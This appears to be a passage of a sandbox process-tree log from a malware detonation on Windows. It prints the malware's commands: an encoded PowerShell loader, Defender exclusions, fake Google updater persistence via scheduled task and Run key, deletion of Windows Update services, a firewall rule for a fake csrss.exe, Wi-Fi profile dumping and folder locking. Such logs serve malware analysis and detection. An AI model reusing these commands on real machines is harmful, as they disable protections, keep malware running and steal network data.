GQAZwBoADkAaQBYADgASAAvAHQARQBMAHUAOQBCAFoAdQBxAEcAaAA1ADkAMwBWAEMANwBqAEQANwBNAEMAYgBhAE8ANwBEAHkAdQA4AEgAbwBTADgAdABvAHUAWQBtACsAZwBRAFgAMwB2AE8AdQBCAFgAWQBDADkAMgBTAHYAUwBnAEcAcABSAGoAcwBHAE8AZQBQAFcAKwA5AGQAZAA3AC8AeABOAHMAYgArAHIAdQBXAEIAcwArADYAOQBsAHMAagBkACsAagBsAFIAZQBSAFIANgBHAFkAWQBwAHQAVQBkAGEAcQBTADUAYwBSADYAUQA0ADUAUgB3AEMAVgBIAGsARAA2AG8AdAB6AGgATgBNADQAVQBVAEMAYgA1AGIAcQBHAGwASQBwAFQAWAAwACsAbgBFACsAVABGAEYANABHAHAAMwBuAE4AbgB3ADgATwBMAEMALwBhAFgAMQAxAEoAdwBoAE8AagA5AEgAbABzAFYANgBSADMANwA1AGIAZwBKAFoAOABjADIAcAB2AG0AQQBDAGMAaABpAHgAcgB5AC8AawBLAFcAWQBRAGIATAArADQANABNAEkAWAA1AC8AWQBOADAAMABPADQAaABjAFUANABPAFAAYwBJAEQAbAByAEoAYwBlADkAVQByADgAcQBxAHYAUgBjAHAAagA4AHIAMgBpAGQANwA5AGMASQBmAG8ASgAvAFIAZQBzAHoANwBSADkATwB2AHcAdABCAHUAYwBIAGoALwBZAEwANABWADgASQBQAG8AZgBtAGoAZwBjADgAOQB3AG8AQQBSAHcAWAB5AGcAKwBQAFIAQwArAFUAYgA4ADUAOABKADQAOQBvAGoAagBXAFkARwA4AGIAOAA0AGYAZgA0AFAAZgBsAE8AegAxAEMATgA1ADIAcgAxADcAKwBDAFEAZABYAFAAMQBqAHIAQwB3AEEAQQAnACcAKQApACkALABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAKQApACcAOwAkAHMALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQA9ACQAZgBhAGwAcwBlADsAJABzAC4AUgBlAGQAaQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAA9ACQAdAByAHUAZQA7ACQAcwAuAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQA9ACcASABpAGQAZABlAG4AJwA7ACQAcwAuAEMAcgBlAGEAdABlAE4AbwBXAGkAbgBkAG8AdwA9ACQAdAByAHUAZQA7ACQAcAA9AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAHIAdAAoACQAcwApADsA
    3⤵
    PID:2320
- C:\Users\Admin\AppData\Local\Temp\Files\cp.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\cp.exe"
  2⤵
  PID:4156
- C:\Users\Admin\AppData\Local\Temp\Files\client.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\client.exe"
  2⤵
  PID:1936

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 400 -ip 400
1⤵
PID:2368

C:\Windows\system32\findstr.exe
findstr /R /C:"[ ]:[ ]"
1⤵
PID:1968

C:\Windows\system32\netsh.exe
netsh wlan show profiles
1⤵
PID:2964

C:\Windows\system32\chcp.com
chcp 65001
1⤵
PID:2344

C:\Windows\system32\findstr.exe
findstr "SSID BSSID Signal"
1⤵
PID:2984

C:\Windows\system32\netsh.exe
netsh wlan show networks mode=bssid
1⤵
PID:1888

C:\Windows\system32\chcp.com
chcp 65001
1⤵
PID:3052

C:\Windows\system32\timeout.exe
timeout /t 3
1⤵
- Delays execution with timeout.exe
PID:1268

C:\Windows\system32\chcp.com
chcp 65001
1⤵
PID:3524

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
1⤵
PID:3872

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
1⤵
PID:4204
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-ac 0
  2⤵
  PID:1508
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-ac 0
  2⤵
  PID:912
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-dc 0
  2⤵
  PID:1116
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-dc 0
  2⤵
  PID:3944

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#xfxixcb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
1⤵
PID:4516

C:\Windows\System32\sc.exe
sc stop bits
1⤵
- Launches sc.exe
PID:2380

C:\Windows\System32\sc.exe
sc stop dosvc
1⤵
- Launches sc.exe
PID:2608

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
1⤵
PID:2656

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
1⤵
PID:3732

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
1⤵
PID:3784

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
1⤵
PID:1620

C:\Windows\System32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
1⤵
PID:2132

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#extmbyk#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
1⤵
PID:4672
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
  2⤵
  PID:2804

C:\Windows\System32\sc.exe
sc stop wuauserv
1⤵
- Launches sc.exe
PID:4704

C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
1⤵
- Launches sc.exe
PID:4184

C:\Windows\System32\sc.exe
sc stop UsoSvc
1⤵
- Launches sc.exe
PID:3152

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
1⤵
PID:2816

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
PID:1628

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 2988 -ip 2988
1⤵
PID:4064

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 1936 -ip 1936
1⤵
PID:4204

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 400 -p 5012 -ip 5012
1⤵
PID:3176

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
1⤵
- Modifies Windows Firewall
PID:3476

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 2472 -ip 2472
1⤵
PID:2996

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 668 -ip 668
1⤵
PID:2344

C:\Users\Admin\AppData\Local\Temp\51B5.exe
C:\Users\Admin\AppData\Local\Temp\51B5.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:3324
- C:\Users\Admin\AppData\Local\Temp\51B5.exe
  C:\Users\Admin\AppData\Local\Temp\51B5.exe
  2⤵
  PID:3152

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
1⤵
PID:3540

C:\Users\Admin\AppData\Roaming\gvrdtbj
C:\Users\Admin\AppData\Roaming\gvrdtbj
1⤵
PID:4240
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4240 -s 372
  2⤵
  - Program crash
  PID:3000

C:\Users\Admin\AppData\Roaming\Microsoft\config\runtime.exe
C:\Users\Admin\AppData\Roaming\Microsoft\config\runtime.exe
1⤵
PID:224

C:\Users\Admin\AppData\Local\Temp\Microsoft\config\runtime.exe
C:\Users\Admin\AppData\Local\Temp\Microsoft\config\runtime.exe
1⤵
PID:3968

C:\Users\Admin\AppData\Local\Temp\67CE.exe
C:\Users\Admin\AppData\Local\Temp\67CE.exe
1⤵
PID:1708
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 1044
  2⤵
  - Program crash
  PID:1056
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1708 -s 1060
  2⤵
  - Program crash
  PID:2356

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\7BA5.dll
1⤵
PID:1348
- C:\Windows\SysWOW64\regsvr32.exe
  /s C:\Users\Admin\AppData\Local\Temp\7BA5.dll
  2⤵
  PID:4984

C:\Users\Admin\AppData\Local\Microsoft\config\runtime.exe
C:\Users\Admin\AppData\Local\Microsoft\config\runtime.exe
1⤵
PID:1988

C:\Users\Admin\AppData\Local\Temp\82BB.exe
C:\Users\Admin\AppData\Local\Temp\82BB.exe
1⤵
PID:1344

C:\Users\Admin\AppData\Local\Temp\96B1.exe
C:\Users\Admin\AppData\Local\Temp\96B1.exe
1⤵
PID:4468
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4468 -s 244
  2⤵
  - Program crash
  PID:2220

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 4468 -ip 4468
1⤵
PID:2928

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#xfxixcb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
1⤵
PID:3400

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
1⤵
PID:4188
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-ac 0
  2⤵
  PID:2928
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-dc 0
  2⤵
  PID:4228
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-ac 0
  2⤵
  PID:4800
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-dc 0
  2⤵
  PID:4508

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
1⤵
PID:3712
- C:\Windows\System32\sc.exe
  sc stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:3832
- C:\Windows\System32\sc.exe
  sc stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:2732
- C:\Windows\System32\sc.exe
  sc stop wuauserv
  2⤵
  - Launches sc.exe
  PID:788
- C:\Windows\System32\sc.exe
  sc stop bits
  2⤵
  - Launches sc.exe
  PID:3420
- C:\Windows\System32\sc.exe
  sc stop dosvc
  2⤵
  - Launches sc.exe
  PID:3892
- C:\Windows\System32\reg.exe
  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
  2⤵
  PID:2632
- C:\Windows\System32\reg.exe
  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
  2⤵
  PID:2636
- C:\Windows\System32\reg.exe
  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
  2⤵
  PID:1504
- C:\Windows\System32\reg.exe
  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
  2⤵
  PID:5272
- C:\Windows\System32\reg.exe
  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:5376

C:\Users\Admin\AppData\Local\Temp\AA79.exe
C:\Users\Admin\AppData\Local\Temp\AA79.exe
1⤵
PID:3476
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3476 -s 392
  2⤵
  - Program crash
  PID:4336
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3476 -s 408
  2⤵
  - Program crash
  PID:596
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3476 -s 412
  2⤵
  - Program crash
  PID:2368
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3476 -s 696
  2⤵
  - Program crash
  PID:5188
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3476 -s 704
  2⤵
  - Program crash
  PID:5444
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3476 -s 704
  2⤵
  - Program crash
  PID:5628
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3476 -s 704
  2⤵
  - Program crash
  PID:6136
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3476 -s 760
  2⤵
  - Program crash
  PID:5696
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell -nologo -noprofile
  2⤵
  PID:5316
- C:\Users\Admin\AppData\Local\Temp\AA79.exe
  "C:\Users\Admin\AppData\Local\Temp\AA79.exe"
  2⤵
  PID:3680
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3680 -s 364
    3⤵
    - Program crash
    PID:5776
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3680 -s 192
    3⤵
    - Program crash
    PID:5464
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3680 -s 380
    3⤵
    - Program crash
    PID:4732
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3680 -s 640
    3⤵
    - Program crash
    PID:5348
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3680 -s 708
    3⤵
    - Program crash
    PID:5736
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3680 -s 708
    3⤵
    - Program crash
    PID:5460
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3680 -s 736
    3⤵
    - Program crash
    PID:4820
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3680 -s 760
    3⤵
    - Program crash
    PID:3344
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3680 -s 780
    3⤵
    - Program crash
    PID:4604
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    PID:4592
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3680 -s 880
    3⤵
    - Program crash
    PID:3516

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 1708 -ip 1708
1⤵
PID:2712

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 380 -p 1708 -ip 1708
1⤵
PID:1844

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 3476 -ip 3476
1⤵
PID:2344

C:\Users\Admin\AppData\Local\Temp\B9BC.exe
C:\Users\Admin\AppData\Local\Temp\B9BC.exe
1⤵
PID:4668
- C:\Users\Admin\AppData\Local\Temp\B9BC.exe
  C:\Users\Admin\AppData\Local\Temp\B9BC.exe
  2⤵
  PID:4932
- - C:\Windows\SysWOW64\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\d906a0f8-722c-4cd1-9788-f0f3ad47a7f9" /deny *S-1-1-0:(OI)(CI)(DE,DC)
    3⤵
    - Modifies file permissions
    PID:5260
- - C:\Users\Admin\AppData\Local\Temp\B9BC.exe
    "C:\Users\Admin\AppData\Local\Temp\B9BC.exe" --Admin IsNotAutoStart IsNotTask
    3⤵
    PID:5564
  - - C:\Users\Admin\AppData\Local\Temp\B9BC.exe
      "C:\Users\Admin\AppData\Local\Temp\B9BC.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      PID:5840
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5840 -s 600
        5⤵
        Program crash
        
        PID:5740

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 624 -p 3476 -ip 3476
1⤵
PID:3512

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 2036 -ip 2036
1⤵
PID:1028

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 652 -p 3476 -ip 3476
1⤵
PID:4464

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 636 -p 4240 -ip 4240
1⤵
PID:4900

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 644 -p 3476 -ip 3476
1⤵
PID:2632

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 3476 -ip 3476
1⤵
PID:5360

C:\Users\Admin\AppData\Local\Temp\EC37.exe
C:\Users\Admin\AppData\Local\Temp\EC37.exe
1⤵
PID:5556
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
  2⤵
  PID:5888
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5888 -s 1088
    3⤵
    - Program crash
    PID:5384
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5888 -s 1104
    3⤵
    - Program crash
    PID:5700

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 652 -p 3476 -ip 3476
1⤵
PID:5596

C:\Users\Admin\AppData\Local\Temp\F1A6.exe
C:\Users\Admin\AppData\Local\Temp\F1A6.exe
1⤵
PID:5728
- C:\Users\Admin\AppData\Local\Temp\is-2U0SQ.tmp\F1A6.tmp
  "C:\Users\Admin\AppData\Local\Temp\is-2U0SQ.tmp\F1A6.tmp" /SL5="$80260,7878473,54272,C:\Users\Admin\AppData\Local\Temp\F1A6.exe"
  2⤵
  PID:6068

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 3476 -ip 3476
1⤵
PID:5904

C:\Users\Admin\AppData\Local\Temp\F6E7.exe
C:\Users\Admin\AppData\Local\Temp\F6E7.exe
1⤵
PID:5956
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
  2⤵
  PID:5300

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 628 -p 3476 -ip 3476
1⤵
PID:5232

C:\Users\Admin\AppData\Local\Temp\3F8.exe
C:\Users\Admin\AppData\Local\Temp\3F8.exe
1⤵
PID:32
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 32 -s 372
  2⤵
  - Program crash
  PID:5836

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 32 -ip 32
1⤵
PID:5596

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe pxpxvzslvmqtfph
1⤵
PID:5584

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
1⤵
PID:5936
- C:\Windows\System32\Wbem\WMIC.exe
  wmic PATH Win32_VideoController GET Name, VideoProcessor
  2⤵
  - Detects videocard installed
  PID:5244

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
1⤵
PID:5604

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 2052 -ip 2052
1⤵
PID:5648

C:\ProgramData\wikombernizc\reakuqnanrkn.exe
C:\ProgramData\wikombernizc\reakuqnanrkn.exe
1⤵
PID:1092
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  PID:5556

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe jgqccdbbxrzbdlfm 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPpZDYkQjcS/S/TS19hCmaZe7ZXiwOLhA74FQzXCOhDuCEgX6WVRJena9L8fAOb/OCpbdBtftU9QMBxG8aHan0UHttTlDXmg8zTJWEzz1jyzM08ycWZiYcc5uJhds9Rh8+fDvfznlHAMreIYNxYX5k9xJHAc4B0ozcm5wxfAVR1NkkPB2hskLA90oq6EEwunLM+cHugrCZPmAL+xjChc1L0WUYPKljZ7G2hVhhzqEtgfjve5jiLrrwjfPxGeeAf9vve0gqrSPFO0K58xxNJ8ClGMYA3jdfqtywTWLARpI3q8mmFmhW90pU5VNfoa01PrEPOLs5r8ABfO582XBZtlugNpAIuxABxOKWLf8XQtXZvoQ7dHNPMO3GgNUOP3U0XxrRiFOF/vB7jsNiVJkb1bI5v5nt59vi2Czwj87T9ujtAUxaRW+5V3BDnzrgkctEMZcXBV724S22jgwV6IzKvy6UKGJnVaM3eKyvceEhYeYhPyF7ZZaH7hc6eH/4/zT7gy/FOEOKoQlj9wOdYItup8djwg3zNzf9whNSzJ/f9PwHpnsQ==
1⤵
PID:6044

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 628 -p 5840 -ip 5840
1⤵
PID:5900

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 5888 -ip 5888
1⤵
PID:2016

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 684 -p 5888 -ip 5888
1⤵
PID:4412

C:\Users\Admin\AppData\Local\Temp\8EC4.exe
C:\Users\Admin\AppData\Local\Temp\8EC4.exe
1⤵
PID:5156
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 5156 -s 1044
  2⤵
  - Program crash
  PID:6120
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 5156 -s 1036
  2⤵
  - Program crash
  PID:5544

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 692 -p 5888 -ip 5888
1⤵
PID:5480

C:\Users\Admin\AppData\Local\Temp\9B68.exe
C:\Users\Admin\AppData\Local\Temp\9B68.exe
1⤵
PID:4484

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 716 -p 5156 -ip 5156
1⤵
PID:4728

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 736 -p 5156 -ip 5156
1⤵
PID:5912

C:\Windows\explorer.exe
explorer.exe
1⤵
PID:4684

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 5408 -ip 5408
1⤵
PID:5432

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 3680 -ip 3680
1⤵
PID:1016

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 3680 -ip 3680
1⤵
PID:5560

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 708 -p 3680 -ip 3680
1⤵
PID:4132

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 708 -p 3680 -ip 3680
1⤵
PID:1064

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 684 -p 3680 -ip 3680
1⤵
PID:5436

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 668 -p 3680 -ip 3680
1⤵
PID:5328

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 676 -p 3680 -ip 3680
1⤵
PID:3804

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 668 -p 3680 -ip 3680
1⤵
PID:4256

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 672 -p 3680 -ip 3680
1⤵
PID:5460

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
